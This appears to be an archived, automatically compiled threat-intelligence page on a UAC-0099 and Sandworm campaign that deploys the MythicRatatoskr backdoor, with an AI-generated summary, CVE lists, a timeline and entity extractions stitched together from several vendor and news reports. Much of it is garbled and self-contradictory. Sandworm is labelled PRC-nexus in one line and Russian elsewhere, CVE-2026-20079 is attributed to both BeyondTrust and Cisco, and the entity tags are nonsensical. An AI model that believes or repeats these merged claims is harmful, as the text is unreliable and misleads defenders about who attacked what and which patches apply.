INSPECTING ARCHIVED INTELLIGENCE (OUTDATED VERSION).

MythicRatatoskr enables UAC-0099-Sandworm collaboration with Yggdrasil backdoor deployment

| 2026-10-22 19:08 CRITICAL HIGH EXPLOITED VULNERABILITY MALWARE & BOTNETS STATE-SPONSORED & ESPIONAGE
JSON
Executive Summary
AI-generated
On September 17th, 2025, attackers executed a destructive data-wiping attack using the SDelete utility deployed via Active Directory Group Policy. This incident represents documented cooperation between UAC-0099 and Sandworm, with UAC-0099 acting as an initial access broker and Sandworm responsible for the destructive phase. The targeted country is Ukraine, specifically in the agriculture industry. The attackers used a previously undocumented Go-based backdoor called MythicRatatoskr, which utilizes the Yggdrasil mesh network for command and control communications, complicating detection efforts. This decentralized network enables end-to-end encrypted IPv6 traffic between nodes.
Technical Mitigations AI-generated
• Apply the vendor fix for CVE-2026-83549, CVE-2026-31431 and treat internet-facing systems that were not patched in time as potentially compromised until verified.
Technical Observables 75 IoCs Login Required
Indicators of Compromise (IoCs) Protected

Raw threat telemetry, malicious IP addresses, file hashes, and direct VirusTotal correlation are restricted to authenticated users.

Sign In to View 75 IoCs Create Free Account
sha256 23 domains 7 files 1 ips 16 sha1 20 urls 1 md5 7
Intelligence Metadata
Actors / Malware / CVEs / Campaigns
Star BlizzardStar Blizzard Cyclops BlinkCyclops BlinkNotPetyaNotPetyaQilinQilin CVE-2026-83549CVE-2026-83549 CVE-2026-31431CVE-2026-31431 CVE-2026-76460CVE-2026-76460 CVE-2026-73456CVE-2026-73456 CVE-2026-73453CVE-2026-73453 CVE-2026-20293CVE-2026-20293 CVE-2026-102764CVE-2026-102764 CVE-2026-20212CVE-2026-20212 CVE-2026-6485CVE-2026-6485 CVE-2026-20079CVE-2026-20079 CVE-2026-83548CVE-2026-83548 CVE-2026-85103CVE-2026-85103 CVE-2021-35394CVE-2021-35394 CVE-2026-91843CVE-2026-91843 CVE-2026-85102CVE-2026-85102 CVE-2026-20316CVE-2026-20316 CVE-2026-33197CVE-2026-33197
Target & Sectors
NORTH_AMERICA NORTH_AMERICA governmentgovernment energyenergy logisticslogistics
Incident Timeline
‎July 16th, 2025
Threat actors, identified as UAC-0099, used spearphishing to deploy the MATCHWOK backdoor against a Ukrainian grain logistics company on July 16th, 2025.
industry Logistics
General Document Context
industry Energy
General Document Context
target_region Ukraine
On July 16th, 2025, UAC-0099 conducted a spearphishing attack against a Ukrainian grain logistics company, deploying the MATCHWOK backdoor.
organisation UAC-0099
On July 16th, 2025, UAC-0099 conducted a spearphishing attack against a Ukrainian grain logistics company, deploying the MATCHWOK backdoor.
organisation MATCHWOK
On July 16th, 2025, UAC-0099 conducted a spearphishing attack against a Ukrainian grain logistics company, deploying the MATCHWOK backdoor.
‎September 17th, 2025
Sandworm executed a destructive data-wiping attack using the SDelete utility deployed via Active Directory Group Policy on September 17th, 2025.
industry Logistics
General Document Context
industry Energy
General Document Context
organisation Sandworm
Approximately two months later, on September 17th, 2025, Sandworm executed a destructive data-wiping attack using the SDelete utility deployed via Active Directory Group Policy.
organisation SDelete
Approximately two months later, on September 17th, 2025, Sandworm executed a destructive data-wiping attack using the SDelete utility deployed via Active Directory Group Policy.
organisation Active Directory Group
Approximately two months later, on September 17th, 2025, Sandworm executed a destructive data-wiping attack using the SDelete utility deployed via Active Directory Group Policy.
‎late July 2026
The vulnerability CVE-2026-20316 was added to the KEV catalog in late July 2026.
vulnerability CVE-2026-20316
The second vulnerability, CVE-2026-20316, was added to the KEV catalog in late July 2026.
organisation KEV
The second vulnerability, CVE-2026-20316, was added to the KEV catalog in late July 2026.
‎July 29
BleepingComputer previously reported on July 29 that Cisco had updated the CVE-2026-20079 advisory with hot fixes and indicators of compromise associated with attacks exploiting another FMC vulnerability, CVE-2026-20316.
vulnerability CVE-2026-20079
However, BleepingComputer previously reported on July 29 that Cisco had already updated the CVE-2026-20079 advisory with hot fixes and indicators of compromise that were also associated with attacks exploiting another FMC vulnerability, CVE-2026-20316.
vulnerability CVE-2026-20316
However, BleepingComputer previously reported on July 29 that Cisco had already updated the CVE-2026-20079 advisory with hot fixes and indicators of compromise that were also associated with attacks exploiting another FMC vulnerability, CVE-2026-20316.
organisation BleepingComputer
However, BleepingComputer previously reported on July 29 that Cisco had already updated the CVE-2026-20079 advisory with hot fixes and indicators of compromise that were also associated with attacks exploiting another FMC vulnerability, CVE-2026-20316.
‎late August 2026
Threat actors, identified as ARMORY CASTLE, a suspected PRC-nexus espionage actor, exploited the BeyondTrust Remote Support vulnerability as a zero-day in late August 2026.
tactic Espionage
Mandiant identified ARMORY CASTLE, a suspected PRC-nexus espionage actor, exploiting this as a zero-day in late August 2026.
‎August 29, 2026
Threat actors exploited a BeyondTrust Remote Support vulnerability, resulting in two compromises dating back to August 29, 2026.
industry Logistics
General Document Context
industry Energy
General Document Context
organisation BeyondTrust
BeyondTrust confirmed exploitation in the wild with two compromises dating to August 29, 2026, affecting one hosted instance and one self-hosted appliance.
‎September 2
CISA added both vulnerabilities to its KEV catalog on September 2, which SonicWall has since confirmed are being exploited in attacks worldwide.
attribution CISA
CISA added both vulnerabilities to its KEV catalog on September 2, and SonicWall has confirmed they are being exploited in attacks.
attribution KEV
CISA added both vulnerabilities to its KEV catalog on September 2, and SonicWall has confirmed they are being exploited in attacks.
attribution SonicWall
CISA added both vulnerabilities to its KEV catalog on September 2, and SonicWall has confirmed they are being exploited in attacks.
‎2026/09/07
Threat actors exploited the BeyondTrust Remote Support vulnerability, which was subsequently patched by Cisco with hotfixes released on September 7, 2026.
industry Technology
Cisco released hotfixes for both bugs last week and "strongly advised" organizations using the affected technology to apply them immediately, citing evidence of exploit activity in the world.
‎September 9
Threat actors exploited two maximum-severity vulnerabilities in Arista's EOS systems, which were confirmed by Cisco to be actively being targeted on September 9.
tactic Remote Code Execution
Arista published 34 security advisories on September 9, including two maximum-severity vulnerabilities that can allow unauthenticated remote code execution on EOS systems.
organisation EOS
Arista published 34 security advisories on September 9, including two maximum-severity vulnerabilities that can allow unauthenticated remote code execution on EOS systems.
general_metric 34 security advisories
Arista published 34 security advisories on September 9, including two maximum-severity vulnerabilities that can allow unauthenticated remote code execution on EOS systems.
organisation Product Security Incident Response Team
Cisco confirmed on September 9 that the vulnerability was being actively exploited, updating its advisory to say its Product Security Incident Response Team became aware of the attacks in August.
‎Sep 11, 2026
Threat actors exploited the BeyondTrust Remote Support vulnerability to gain unauthorized access into multiple organizations in the logistics and energy sectors worldwide.
industry Logistics
General Document Context
industry Energy
General Document Context
‎September 12, 2026
Threat actors exploited the BeyondTrust Remote Support vulnerability (CVE-2026-20079) added to CISA's KEV catalog, requiring FCEB agencies to apply patches by September 12, 2026.
industry Logistics
General Document Context
industry Energy
General Document Context
tactic T1588.006 - Vulnerabilities
The development comes as the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-20079 to its Known Exploited Vulnerabilities (KEV) catalog, requiring Federal Civilian Executive Branch (FCEB) agencies to apply the patches by September 12, 2026.
attribution KEV
The development comes as the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-20079 to its Known Exploited Vulnerabilities (KEV) catalog, requiring Federal Civilian Executive Branch (FCEB) agencies to apply the patches by September 12, 2026.
vulnerability CVE-2026-20079
The development comes as the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-20079 to its Known Exploited Vulnerabilities (KEV) catalog, requiring Federal Civilian Executive Branch (FCEB) agencies to apply the patches by September 12, 2026.
attribution Known Exploited
The development comes as the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-20079 to its Known Exploited Vulnerabilities (KEV) catalog, requiring Federal Civilian Executive Branch (FCEB) agencies to apply the patches by September 12, 2026.
attribution Federal Civilian Executive Branch
The development comes as the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-20079 to its Known Exploited Vulnerabilities (KEV) catalog, requiring Federal Civilian Executive Branch (FCEB) agencies to apply the patches by September 12, 2026.
attribution FCEB
The development comes as the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-20079 to its Known Exploited Vulnerabilities (KEV) catalog, requiring Federal Civilian Executive Branch (FCEB) agencies to apply the patches by September 12, 2026.
‎Week of September 14th
A comprehensive hardening release of fixes for multiple vulnerabilities, including the BeyondTrust Remote Support vulnerability exploited in recent attacks worldwide, will be released next week.
‎September 16
Threat actors exploited multiple vulnerabilities disclosed by Cisco on September 16, including the BeyondTrust Remote Support vulnerability and six additional FMC vulnerabilities.
‎Week of September 16th
A comprehensive hardening release of fixes for multiple vulnerabilities, including the BeyondTrust Remote Support vulnerability, will be released next week starting from September 16th.
‎October 5, 2026
Threat actors exploited the BeyondTrust Remote Support vulnerability to gain unauthorized access into multiple organizations in the logistics and energy sectors worldwide.
industry Logistics
General Document Context
industry Energy
General Document Context
‎Monday, October 5, 2026
Attackers exploited vulnerabilities in BeyondTrust Remote Support products to launch multiple attacks worldwide, which were shared with Hackread.com ahead of publication on October 5, 2026.
organisation Hackread.com
According to the company’s report shared with Hackread.com ahead of publication on Monday, October 5, 2026, attackers behind the campaign exploited about two dozen vulnerabilities affecting products from:
‎October 15
Threat actors exploited the arbitrary file upload vulnerability in BeyondTrust Remote Support appliances, disclosed as CVE-2026-102764 on October 15.
vulnerability CVE-2026-102764
On October 15, BeyondTrust disclosed CVE-2026-102764, a vulnerability affecting BeyondTrust Remote Support appliances that enables arbitrary file upload.
organisation BeyondTrust Remote Support
On October 15, BeyondTrust disclosed CVE-2026-102764, a vulnerability affecting BeyondTrust Remote Support appliances that enables arbitrary file upload.
organisation BeyondTrust
On October 15, BeyondTrust disclosed CVE-2026-102764, a vulnerability affecting BeyondTrust Remote Support appliances that enables arbitrary file upload.
‎October 16, 2026
General Document Context CISA added this vulnerability to the Known Exploited Vulnerabilities list on October 16, 2026.
industry Logistics
General Document Context
industry Energy
General Document Context
attribution CISA
CISA added this vulnerability to the Known Exploited Vulnerabilities list on October 16, 2026.
organisation the Known Exploited
CISA added this vulnerability to the Known Exploited Vulnerabilities list on October 16, 2026.
tactic T1588.006 - Vulnerabilities
CISA added this vulnerability to the Known Exploited Vulnerabilities list on October 16, 2026.
‎Between August 25 and September 17
Threat actors exploited multiple vulnerabilities across 17 vendors between August 25 and September 17.
general_metric 158 new security advisories
Between August 25 and September 17, InfraTrust tracked 158 new security advisories across 17 vendors, covering 1,699 vulnerabilities.
general_metric 17 vendors
Between August 25 and September 17, InfraTrust tracked 158 new security advisories across 17 vendors, covering 1,699 vulnerabilities.
general_metric 1,699 vulnerabilities
Between August 25 and September 17, InfraTrust tracked 158 new security advisories across 17 vendors, covering 1,699 vulnerabilities.
‎2026/10/22
Threat actors, attributed to ARMORY CASTLE and linked to the suspected PRC-nexus espionage actor Sandworm, exploited multiple vulnerabilities in Cisco Secure FMC software to deliver a Netcat-based reverse shell.
organisation UAC-0099-Sandworm
MythicRatatoskr: An Yggdrasil-enabled backdoor deployed in a UAC-0099-Sandworm collaboration.
organisation MythicRatatoskr
The following day, attackers introduced MythicRatatoskr, a previously undocumented Go-based backdoor utilizing the Yggdrasil mesh network for command and control communications.
organisation Yggdrasil
The following day, attackers introduced MythicRatatoskr, a previously undocumented Go-based backdoor utilizing the Yggdrasil mesh network for command and control communications.
organisation Sandworm
Sophos Counter Threat Unit also analyzed a Linux implant named "timezone_check" recovered from compromised FMC appliances and identified it as a variant of Cyclops Blink, malware previously associated with the Sandworm threat group.
Related: Maximum Severity GitLab Flaw Puts Supply Chains at Risk Threat actors possibly tied to Sandworm are chaining the two flaws to first download a Netcat-based reverse shell and proxy tool on vulnerable FMC systems and then use that to deploy the new Cyclops Blink variant.
The second intrusion cluster, which we attribute to UAT-11823, consisted of the exploitation of CVE-2026-20079 and CVE-2026-20316, leading to the deployment of a Netcat-based reverse shell and proxy tooling, ultimately leading to the deployment of a variant of the Cyclops Blink malware, previously attributed to the Russian APT Sandworm by the United States and United Kingdom .
infrastructure Linux
Sophos Counter Threat Unit also analyzed a Linux implant named "timezone_check" recovered from compromised FMC appliances and identified it as a variant of Cyclops Blink, malware previously associated with the Sandworm threat group.
Hackers Exploit 24 IoT Vulnerabilities to Install ClingSTUN Linux Backdoor.
InfraTrust found that CVE-2026-31431, a Linux kernel privilege escalation vulnerability dubbed "CopyFail" and added to CISA's KEV catalog in May, now appears in 19 separate security advisories from six vendors.
Linux Backdoor Abuses STUN Protocol, Exploits Dozens of Flaws.
IOC - ClingSTUN Linux Backdoor Abuses Public STUN Infrastructure.
FortiGuard Labs has been tracking a Linux malware strain we call ClingSTUN that exploits known, unpatched vulnerabilities in Internet-facing devices to establish a persistent foothold.
References: hxxps://www[.]fortinet[.]com/blog/threat-research/clingstun-linux-backdoor-abuses-public-stun-infrastructure Indicators of compromise: 124[.]163[.]212[.]119 5c4e263546fb21f8fe8732789a5b6583eaa8ae11ebeef099462a7c9bf50e022d 9391c6ad17aced1142607c0c623b18d86a7697cc483d204ffac94093e26b8068 e4d12208789f36efc5a1ff765088fed95d6bb5972d1a804a4536fd42366797d4 2ed54e0f988a62039abed88f6394eb1e3…
ClingSTUN Linux Backdoor Abuses Public STUN Infrastructure.
A Linux malware strain named ClingSTUN exploits unpatched vulnerabilities in Internet-facing devices to establish persistent footholds and functions as a back-connect proxy backdoor.
A recently discovered Linux backdoor turns infected systems into proxies that use the Session Traversal Utilities for NAT (STUN) protocol and contains exploits for self-propagation, FortiGuard Labs reports.
FortiGuard Labs has identified a Linux backdoor that exploits known vulnerabilities in internet-facing devices and converts infected systems into remotely controlled proxy nodes.
This allows the campaign to target different types of Linux-based IoT and networking equipment.
One Linux flaw spreads across 19 advisories The September report also shows how supply-chain vulnerabilities in third-party components can create patching headaches across infrastructure products.
These changes potentially make Cyclops Blink compatible with a broader range of Linux-based network appliances and give attackers a more powerful platform for reconnaissance and intelligence collection, Sophos said.
The most significant change is that the malware now runs on 64-bit x86-64 Linux systems rather than the older 32-bit PowerPC architecture used by the original version.
It also uses generic Linux persistence techniques instead of modifying vendor-specific firmware.
organisation Sophos Counter Threat Unit
Sophos Counter Threat Unit also analyzed a Linux implant named "timezone_check" recovered from compromised FMC appliances and identified it as a variant of Cyclops Blink, malware previously associated with the Sandworm threat group.
organisation Maximum Severity
Related: Maximum Severity GitLab Flaw Puts Supply Chains at Risk Threat actors possibly tied to Sandworm are chaining the two flaws to first download a Netcat-based reverse shell and proxy tool on vulnerable FMC systems and then use that to deploy the new Cyclops Blink variant.
organisation CVE-2026
CVE-2026-102764: Critical BeyondTrust Remote Support Authentication Bypass Exploited in the Wild.
These include CVE-2026-85102, an authentication bypass that can lead to remote code execution in Remote Access and Site-to-Site VPN, and CVE-2026-85103, a memory corruption vulnerability that can also lead to remote code execution.
organisation Remote Access and Site-to-Site VPN
These include CVE-2026-85102, an authentication bypass that can lead to remote code execution in Remote Access and Site-to-Site VPN, and CVE-2026-85103, a memory corruption vulnerability that can also lead to remote code execution.
infrastructure 26.2.3
Versions 26.2.3 and earlier are affected.
organisation BeyondTrust Remote Support
A critical authentication bypass vulnerability in BeyondTrust Remote Support platform allows unauthenticated remote attackers to perform file operations without user interaction.
organisation SAWFLY
Mandiant investigation revealed arbitrary file uploads, deployment of SAWFLY web shell and BARECLAW tunneler, root escalation, credential-vault extraction attempts, persistence mechanisms, and log deletion.
Following exploitation, the actor deployed SAWFLY webshell and BARECLAW tunneler, escalated privileges using SUID bit manipulation, harvested credentials from the BeyondTrust vault, and established persistent access by modifying sudoers templates and HAProxy configurations.
organisation BARECLAW
Mandiant investigation revealed arbitrary file uploads, deployment of SAWFLY web shell and BARECLAW tunneler, root escalation, credential-vault extraction attempts, persistence mechanisms, and log deletion.
Following exploitation, the actor deployed SAWFLY webshell and BARECLAW tunneler, escalated privileges using SUID bit manipulation, harvested credentials from the BeyondTrust vault, and established persistent access by modifying sudoers templates and HAProxy configurations.
organisation HAProxy
Following exploitation, the actor deployed SAWFLY webshell and BARECLAW tunneler, escalated privileges using SUID bit manipulation, harvested credentials from the BeyondTrust vault, and established persistent access by modifying sudoers templates and HAProxy configurations.
organisation Hackers Exploit
Hackers Exploit 24 IoT Vulnerabilities to Install ClingSTUN Linux Backdoor.
organisation Install ClingSTUN Linux Backdoor
Hackers Exploit 24 IoT Vulnerabilities to Install ClingSTUN Linux Backdoor.
organisation Initial Access
Known Vulnerabilities Used for Initial Access
organisation Sandworm'
'Sandworm' Chains Cisco Vulnerabilities to Deploy Cyclops Blink.
organisation Separate Cisco FMC
Two Separate Cisco FMC Vulnerabilities Cisco described the Cyclops Blinks activity as one of three separate campaigns involving two vulnerabilities in its Secure FMC software.
organisation Cyclops Blinks
Two Separate Cisco FMC Vulnerabilities Cisco described the Cyclops Blinks activity as one of three separate campaigns involving two vulnerabilities in its Secure FMC software.
organisation Secure FMC
Two Separate Cisco FMC Vulnerabilities Cisco described the Cyclops Blinks activity as one of three separate campaigns involving two vulnerabilities in its Secure FMC software.
organisation CLI
The actor demonstrated deep knowledge of BeyondTrust internals, abusing proprietary CLI utilities and reverse-proxy routing.
organisation IOC
IOC - ClingSTUN Linux Backdoor Abuses Public STUN Infrastructure.
organisation STUN
A recently discovered Linux backdoor turns infected systems into proxies that use the Session Traversal Utilities for NAT (STUN) protocol and contains exploits for self-propagation, FortiGuard Labs reports.
ClingSTUN abuses legitimate public STUN infrastructure to discover externally mapped IP addresses, maintain NAT bindings, and improve connectivity between compromised hosts and operators.
The malware distinguishes itself by abusing STUN protocol traffic and public STUN infrastructure for command-and-control communications, making malicious activity appear as legitimate NAT-traversal behavior.
Named ClingSTUN, the malware supports remote command execution, maintains access after a reboot and uses legitimate public STUN servers to communicate through network address translation.
organisation NAT
A recently discovered Linux backdoor turns infected systems into proxies that use the Session Traversal Utilities for NAT (STUN) protocol and contains exploits for self-propagation, FortiGuard Labs reports.
ClingSTUN abuses legitimate public STUN infrastructure to discover externally mapped IP addresses, maintain NAT bindings, and improve connectivity between compromised hosts and operators.
The malware distinguishes itself by abusing STUN protocol traffic and public STUN infrastructure for command-and-control communications, making malicious activity appear as legitimate NAT-traversal behavior.
STUN, short for Session Traversal Utilities for NAT, is commonly used by services such as VoIP and WebRTC to determine a device’s public IP address and port mapping.
organisation IoT
This allows the campaign to target different types of Linux-based IoT and networking equipment.
A sophisticated IoT botnet dubbed Cling has been discovered exploiting vulnerable internet-exposed devices through CVE-2021-35394 and other command-injection flaws.
The campaign targets IoT devices through multiple CVEs including command injection and code execution flaws in various vendors' products.
organisation IP
The botnet operator uses IP spoofing to make commands appear as if originating from Google's STUN infrastructure.
ClingSTUN abuses legitimate public STUN infrastructure to discover externally mapped IP addresses, maintain NAT bindings, and improve connectivity between compromised hosts and operators.
“A notable feature is its abuse of legitimate public STUN servers to discover external IP addresses and port mappings, thereby helping maintain NAT connectivity.
The malicious file consisted of commands to run on the system to conduct extensive reconnaissance in the victim organization’s environment: Host names, IP addresses, directory listings Active Directory (AD) service-accounts credentials, MySQL account credentials Domain account information exfiltration Computer object lists Hostname to IP mappings spanning domain controllers, ADFS, exchanges, fil…
organisation TCP
Capabilities include propagation scanning, DDoS flooding, TCP tunneling and proxy relay functions.
CVE-2026-73453 affects the P4Runtime service on TCP port 9559, while CVE-2026-73456 affects gNPSI.
organisation CVE-2026-73453
CVE-2026-73453 affects the P4Runtime service on TCP port 9559, while CVE-2026-73456 affects gNPSI.
organisation Google
A STUNning Disguise: Cling Malware Masquerades as Google.
organisation China Mobile
Additionally, the backdoor includes a self-propagation mechanism containing hardcoded exploits for seven China Mobile, KGUARD, Linksys, LB-LINK, MVPower, Realtek, and TBK vulnerabilities.
Those flaws affect products from: China Mobile KGUARD Linksys LB-LINK MVPower Realtek TBK Downloaders recovered during the investigation could install ClingSTUN on several processor architectures, including AMD x86-64, ARM, Intel 80386, MIPS R3000 and PowerPC.
organisation KGUARD
Additionally, the backdoor includes a self-propagation mechanism containing hardcoded exploits for seven China Mobile, KGUARD, Linksys, LB-LINK, MVPower, Realtek, and TBK vulnerabilities.
organisation Linksys
Additionally, the backdoor includes a self-propagation mechanism containing hardcoded exploits for seven China Mobile, KGUARD, Linksys, LB-LINK, MVPower, Realtek, and TBK vulnerabilities.
organisation MVPower
Additionally, the backdoor includes a self-propagation mechanism containing hardcoded exploits for seven China Mobile, KGUARD, Linksys, LB-LINK, MVPower, Realtek, and TBK vulnerabilities.
organisation Intel
Those flaws affect products from: China Mobile KGUARD Linksys LB-LINK MVPower Realtek TBK Downloaders recovered during the investigation could install ClingSTUN on several processor architectures, including AMD x86-64, ARM, Intel 80386, MIPS R3000 and PowerPC.
The ClingSTUN backdoor relies on downloaders to fetch malware payloads for different architectures, including AMD X86-64, ARM, Intel 80386, MIPS R3000, and PowerPC.
organisation MIPS
Those flaws affect products from: China Mobile KGUARD Linksys LB-LINK MVPower Realtek TBK Downloaders recovered during the investigation could install ClingSTUN on several processor architectures, including AMD x86-64, ARM, Intel 80386, MIPS R3000 and PowerPC.
The ClingSTUN backdoor relies on downloaders to fetch malware payloads for different architectures, including AMD X86-64, ARM, Intel 80386, MIPS R3000, and PowerPC.
organisation AMD
Those flaws affect products from: China Mobile KGUARD Linksys LB-LINK MVPower Realtek TBK Downloaders recovered during the investigation could install ClingSTUN on several processor architectures, including AMD x86-64, ARM, Intel 80386, MIPS R3000 and PowerPC.
infrastructure Macos
Related: macOS Users Targeted by Fake Zoom Installer Carrying CloudSyncD Backdoor Related: AI Agents Aimed SQL Injection at US and Canadian Government Sites Related: Russian APT Star Blizzard Uses ‘RedFlick’ Infection Chain in Recent Attacks Related: Hackers Use ChatGPT Custom GPTs in ClickFix Attacks
organisation Fake Zoom Installer Carrying
Related: macOS Users Targeted by Fake Zoom Installer Carrying CloudSyncD Backdoor Related: AI Agents Aimed SQL Injection at US and Canadian Government Sites Related: Russian APT Star Blizzard Uses ‘RedFlick’ Infection Chain in Recent Attacks Related: Hackers Use ChatGPT Custom GPTs in ClickFix Attacks
threat_actor Star Blizzard
Related: macOS Users Targeted by Fake Zoom Installer Carrying CloudSyncD Backdoor Related: AI Agents Aimed SQL Injection at US and Canadian Government Sites Related: Russian APT Star Blizzard Uses ‘RedFlick’ Infection Chain in Recent Attacks Related: Hackers Use ChatGPT Custom GPTs in ClickFix Attacks
organisation ClickFix Attacks
Related: macOS Users Targeted by Fake Zoom Installer Carrying CloudSyncD Backdoor Related: AI Agents Aimed SQL Injection at US and Canadian Government Sites Related: Russian APT Star Blizzard Uses ‘RedFlick’ Infection Chain in Recent Attacks Related: Hackers Use ChatGPT Custom GPTs in ClickFix Attacks
organisation Firewall Management Center
A likely Russian threat actor is deploying a sophisticated malware implant capable of harvesting credentials, scanning internal networks, and capturing live traffic on compromised devices by chaining two vulnerabilities in Cisco's Firewall Management Center (FMC) technology.
organisation Iron Viking
Sophos attributed the new Cyclops Blink campaign with high confidence to Russia-nexus actors and has moderate confidence it is associated with Sandworm, which the vendor tracks as Iron Viking.
organisation Russian APT
The ELF-based implant is Cyclops Blink , a malware family previously attributed to Sandworm, a Russian APT actor.
organisation Ivanti
The malware’s operators were seen indiscriminately exploiting Avtech, EnGenius, D-Link, Hytec, Ivanti, Lantronix, Linear, MeiG, Realtek, Sunhillo, Tenda, and TP-Link flaws, and appear to be expanding their portfolio with other exploits as well.
Avtech D-Link EnGenius Hytec Ivanti Lantronix Linear MeiG Realtek Sunhillo Tenda TP-Link FortiGuard also found seven hardcoded exploits that ClingSTUN can use to spread to other vulnerable devices.
organisation Avtech
The malware’s operators were seen indiscriminately exploiting Avtech, EnGenius, D-Link, Hytec, Ivanti, Lantronix, Linear, MeiG, Realtek, Sunhillo, Tenda, and TP-Link flaws, and appear to be expanding their portfolio with other exploits as well.
Avtech D-Link EnGenius Hytec Ivanti Lantronix Linear MeiG Realtek Sunhillo Tenda TP-Link FortiGuard also found seven hardcoded exploits that ClingSTUN can use to spread to other vulnerable devices.
organisation EnGenius
The malware’s operators were seen indiscriminately exploiting Avtech, EnGenius, D-Link, Hytec, Ivanti, Lantronix, Linear, MeiG, Realtek, Sunhillo, Tenda, and TP-Link flaws, and appear to be expanding their portfolio with other exploits as well.
organisation Linear
The malware’s operators were seen indiscriminately exploiting Avtech, EnGenius, D-Link, Hytec, Ivanti, Lantronix, Linear, MeiG, Realtek, Sunhillo, Tenda, and TP-Link flaws, and appear to be expanding their portfolio with other exploits as well.
organisation Sunhillo
The malware’s operators were seen indiscriminately exploiting Avtech, EnGenius, D-Link, Hytec, Ivanti, Lantronix, Linear, MeiG, Realtek, Sunhillo, Tenda, and TP-Link flaws, and appear to be expanding their portfolio with other exploits as well.
organisation EnGenius Hytec
Avtech D-Link EnGenius Hytec Ivanti Lantronix Linear MeiG Realtek Sunhillo Tenda TP-Link FortiGuard also found seven hardcoded exploits that ClingSTUN can use to spread to other vulnerable devices.
organisation Tenda
Avtech D-Link EnGenius Hytec Ivanti Lantronix Linear MeiG Realtek Sunhillo Tenda TP-Link FortiGuard also found seven hardcoded exploits that ClingSTUN can use to spread to other vulnerable devices.
organisation UDP
Instead, defenders should assess STUN activity alongside suspicious process behavior, unexpected UDP connections, and recurring keepalive traffic,” FortiGuard Labs notes.
Soroko advised organizations to examine exposed devices for hidden processes, altered startup files, unexplained UDP connections and repeated STUN keepalive traffic.
organisation FortiGuard
FortiGuard did not identify the operators, disclose the number of infected devices or name any affected organizations.
organisation Juniper, Extreme Networks
Arista, F5, Juniper, Extreme Networks, and HPE Aruba each published an advisory affecting products that contain the vulnerable component, while Dell accounts for 14 advisories covering products including VxRail, PowerFlex, ThinOS, PowerProtect, and Networking OS10.
organisation Dell
Arista, F5, Juniper, Extreme Networks, and HPE Aruba each published an advisory affecting products that contain the vulnerable component, while Dell accounts for 14 advisories covering products including VxRail, PowerFlex, ThinOS, PowerProtect, and Networking OS10.
organisation PowerFlex
Arista, F5, Juniper, Extreme Networks, and HPE Aruba each published an advisory affecting products that contain the vulnerable component, while Dell accounts for 14 advisories covering products including VxRail, PowerFlex, ThinOS, PowerProtect, and Networking OS10.
organisation PowerProtect
Arista, F5, Juniper, Extreme Networks, and HPE Aruba each published an advisory affecting products that contain the vulnerable component, while Dell accounts for 14 advisories covering products including VxRail, PowerFlex, ThinOS, PowerProtect, and Networking OS10.
organisation Networking
Arista, F5, Juniper, Extreme Networks, and HPE Aruba each published an advisory affecting products that contain the vulnerable component, while Dell accounts for 14 advisories covering products including VxRail, PowerFlex, ThinOS, PowerProtect, and Networking OS10.
organisation Cisco FMC Flaws Exploited
Cisco FMC Flaws Exploited to Steal Credentials and Deploy Qilin Ransomware.
organisation FMC
Talos is further disclosing a third cluster of malicious activity on an FMC instance, attributed to UAT-11988, who we assess with high confidence is a ransomware operator.
The attacks leverage CVE-2026-20079 (CVSS score: 10.0), an authentication bypass vulnerability in the web interface of FMC software that could allow an unauthenticated, remote attacker to bypass authentication and execute script files on an affected device to obtain root access to the underlying operating system.
The second vulnerability, tracked as CVE-2026-20316 , is a lower severity flaw with a 5.3 CVSS score that allows a remote attacker to log in with low privileges and then use other previous FMC vulnerabilities to escalate privileges.
The flaw allows an unauthenticated attacker to send crafted HTTP requests to the FMC web interface and execute scripts and commands as root on vulnerable devices.
financial 3 Cluster
Cluster #3: UAT-11988, a Qilin ransomware operator A third cluster of activity entailed a ransomware operator (tracked as UAT-11988) logging into an FMC device with static credentials ( CVE-2026-20316 ), performing extensive reconnaissance, domain enumerations, credential theft, and building a list of target endpoints within the compromised organization for encryption.
organisation AV
Once all these preliminary actions were completed, the operator began conducting additional probes within the compromised network, deploying antivirus (AV) killers and ultimately the Qilin ransomware family.
organisation Invoke-TheHash
Pre-ransomware actions and ransomware deployment The threat actor conducted extensive probing of endpoints in the victim’s environment, deployed open-source tooling such as impacket, Invoke-TheHash, and custom-made AV killers — all followed by the deployment of the Qilin ransomware on selected endpoints.
organisation CVSS
Of those advisories, 42 were rated critical, eight had a maximum CVSS score of 10.0, and 71 could be exploited remotely without authentication.
CVE-2026-20079 is a critical vulnerability with a CVSS score of 10.0.
organisation Appliance Management Console
CVE-2026-83548 is a CVSS 10.0 unauthenticated server-side request forgery vulnerability in the Appliance Work Place interface and CVE-2026-83549 is an OS command injection vulnerability in the Appliance Management Console.
organisation Cisco Secure Firewall Management Center
Infrastructure management systems targeted One of the most serious vulnerabilities highlighted in the report is CVE-2026-20079, a maximum-severity Cisco Secure Firewall Management Center (FMC) authentication bypass.
Active exploitation of Cisco Secure Firewall Management Center vulnerabilities.
infrastructure 10.0
The attacks leverage CVE-2026-20079 (CVSS score: 10.0), an authentication bypass vulnerability in the web interface of FMC software that could allow an unauthenticated, remote attacker to bypass authentication and execute script files on an affected device to obtain root access to the underlying operating system.
organisation Cisco
"Customers are strongly advised to apply hotfixes for affected software versions already released by Cisco for CVE-2026-20079 and CVE-2026-20316," Cisco said, adding it intends to ship a comprehensive hardening release for various internally discovered vulnerabilities next week.
organisation Cisco’s Secure FMC
First, CVE-2026-20079 is an authentication bypass vulnerability in unpatched instances of Cisco’s Secure FMC Software, which allows an unauthenticated, remote attacker to bypass authentications and execute scripts on impacted devices to obtain root access to the underlying operating system.
financial 1 Cluster
Cluster #1: UAT-12197 This cluster of activity involved the successful exploitation of CVE-2026-20079 and the subsequent placement of a malicious web shell in the CSM Tomcat webroot directory.
organisation Attacker
104.218.165[.]253 UAT-11823 Attacker’s vulnerability scanner for CVE-2026-20079.
organisation Cisco Secure FMC
CVE-2026-20316 has a CVSS score of 5.3, however it can be used with other Cisco Secure FMC vulnerabilities to elevate privileges.
It can be paired with other Cisco Secure FMC vulnerabilities to elevate privileges.
organisation Makeself
